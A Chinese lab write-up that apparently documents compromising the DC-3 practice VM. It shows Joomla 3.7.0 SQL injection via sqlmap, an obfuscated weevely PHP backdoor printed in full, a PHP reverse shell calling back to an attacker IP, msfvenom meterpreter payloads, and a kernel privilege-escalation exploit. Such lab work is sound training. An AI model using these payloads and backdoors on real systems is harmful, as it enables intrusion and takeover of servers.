DC-3靶机渗透实战

0x00 信息收集

使用arp-scan查看局域网内所有主机IP,定位到目标主机IP。在这里插入图片描述

使用nmap扫描端口服务,发现只有80端口开放,服务应该是Joomla。
在这里插入图片描述
使用dirsearch进行路径爆破,发现administrator后台路径,访问http://192.168.1.31/administrator
在这里插入图片描述
访问之后发现是Joomla建站系统,但是登录页面没有版本信息。

回想起刚才爆破的路径有,/README.txt,访问看看,可以看到版本号为3.7。
在这里插入图片描述
此外,可以使用JoomScan对Joomla进行扫描,这是一个专门针对Joomla cms的漏洞扫描器。2020.02版kali没有这个工具,需要下载安装。

执行:perl joomscan.pl -u http://192.168.1.31,扫描出版本信息,但是该工具提示没有漏洞,不要轻易相信。
在这里插入图片描述

0x01 Web渗透

使用searchsploit搜索下Joomla 3.7.0版本是否有漏洞可以利用,发现存在SQL注入。
在这里插入图片描述
将/usr/share/exploitdb/exploits/php/webapps/42033.txt文件打开查看漏洞明细。
在这里插入图片描述
sqlmap执行命令为:

sqlmap -u "http://192.168.1.31/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

爆破出数据库名。
在这里插入图片描述
爆破表名:

sqlmap -u "http://192.168.1.31/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]

在这里插入图片描述
爆破列名:

sqlmap -u "http://192.168.1.31/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' --columns -p list[fullordering]

在这里插入图片描述
爆破username和password字段:

sqlmap -u "http://192.168.1.31/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' -C 'username,password' --dump -p list[fullordering]

在这里插入图片描述
拿到admin和密码密文,使用john解密,得到admin的密码为snoopy。
在这里插入图片描述
登录后台,发现Templates处可以上传php脚本。于是下一步就是上传php木马getshell。
在这里插入图片描述

0x02 Getshell&提权

方法一:使用weevely生成shell

weevely生成php shell,密码为psw。

weevely generate psw weevelyshell.php

内容为:

<?php
$u='D$j++,$Di++){$o.=$Dt{$iD}^$k{$Dj};}}return D$o;}if (D@prDeg_matc';
$f='[1])D,$k))D);$o=@DoDb_gDet_contents()DD;@oDb_end_clean(D);$r=@ba';
$h='D$k="7Dbb48372"D;$kh="9b5a8e26Df73eD";$kf=D"183D1Dcde5Db842";$p';
$j='sDtrleDn($t);$o=D"";for($i=0;$i<$lD;){for(D$Dj=0;($DDj<$c&&$i<$l)D;';
$J='="MIDwNYQFBVujZlDDYTK";funcDDtion x($t,D$k){$c=strDlDen($k);$Dl=D';
$x=str_replace('q','','creqatqeq_fquncqtiqon');
$e='==1) D{@Dob_start();@eDvDal(@gzDuncomDpress(D@x(@baDse64_decodDe($m';
$R='sDDe64D_encode(@x(@gzcDompreDss($oD),$k));pDrint("D$p$khD$r$kf");}';
$k='h(D"/$kDh(D.+)$kf/",@fiDleD_get_contDDenDts("php://inpuDt"),D$m)';
$y=str_replace('D','',$h.$J.$j.$u.$k.$e.$f.$R);
$w=$x('',$y);$w();
?>

上传到目标服务器:
在这里插入图片描述

接下来使用weevely连接该shell。

weevely http://192.168.1.31/templates/beez3/weevelyshell.php psw

在这里插入图片描述
拿到shell后,用户为www-data,要提权为root。
在这里插入图片描述
查看内核版本信息:uname -a

查看操作系统版本信息:head -n 1 /etc/issue或者cat /etc/issue
在这里插入图片描述
内核版本为:4.4.0-21 (i686说明是32位系统)

操作系统版本:Ubuntu 16.04

使用searchsploit搜索下Ubuntu 16.04有什么提权漏洞。
在这里插入图片描述
内核版本、操作系统版本都符合,且是提权漏洞的有9个。首先排除64位操作系统的2、3、4、7,只剩1、5、6、8、9。

尝试后发现第5个可以用,Linux Kernel 4.4.x (Ubuntu 16.04) - ‘double-fdput()’ bpf(BPF_PROG_LOAD) Privilege Escalation。

打开文件cat /usr/share/exploitdb/exploits/linux/local/39772.txt,查看漏洞详情:
在这里插入图片描述
下载到kali中,解压,看到exploit.tar文件,将exploit.tar上传到DC-3主机中。在这里插入图片描述
kali中当前路径开启python.server,供DC-3下载。

python3 -m python.server 80

在DC-3中,wget http://192.168.1.37/exploit.tar,下载exploit.tar,当然可以直接在github上下载。

解压,到ebpf_mapfd_doubleput_exploit路径下,先后执行

./compile.sh

./doubleput

发现提权失败:
在这里插入图片描述
猜测是因为正向shell的缘故,尝试方法二:反弹shell。

方法二:反弹shell

写个反弹shell脚本ncshell.php

<?php
$sock=fsockopen('192.168.1.37',4444);
$descriptorspec=array(
0=>$sock,
1=>$sock,
2=>$sock
);
$process=proc_open('sh',$descriptorspec,$pipes);
proc_close($process);
echo phpinfo();
?>

将shell脚本上传到DC-3主机中,访问http://192.168.1.31/templates/beez3/ncshell.php,即可执行ncshelll.php,拿到反弹shell。
在这里插入图片描述
到doubleput路径下,执行./doubleput,成功提权。
在这里插入图片描述

方法三:使用msf建立反弹shell

跟方法二原理是一样的。

执行:msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.31 LPORT=4444 > msfshell.php

生成php的反弹shell:
在这里插入图片描述
将shell上传到DC-3主机中,然后使用msfconsole连接。

依次执行:

use exploit/multi/handler
set PAYLOAD /php/meterpreter/reverse_tcp
set LHOST 192.168.1.37
set PORT 4444
run

然后浏览器访问http://192.168.1.31/templates/beez3/msfshell.php
在这里插入图片描述
剩余步骤参考方法二,成功提权。
在这里插入图片描述
最后拿shell并提权的时候,注意避免踩坑,正向shell无法提权,反弹shell才能成功提权。

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值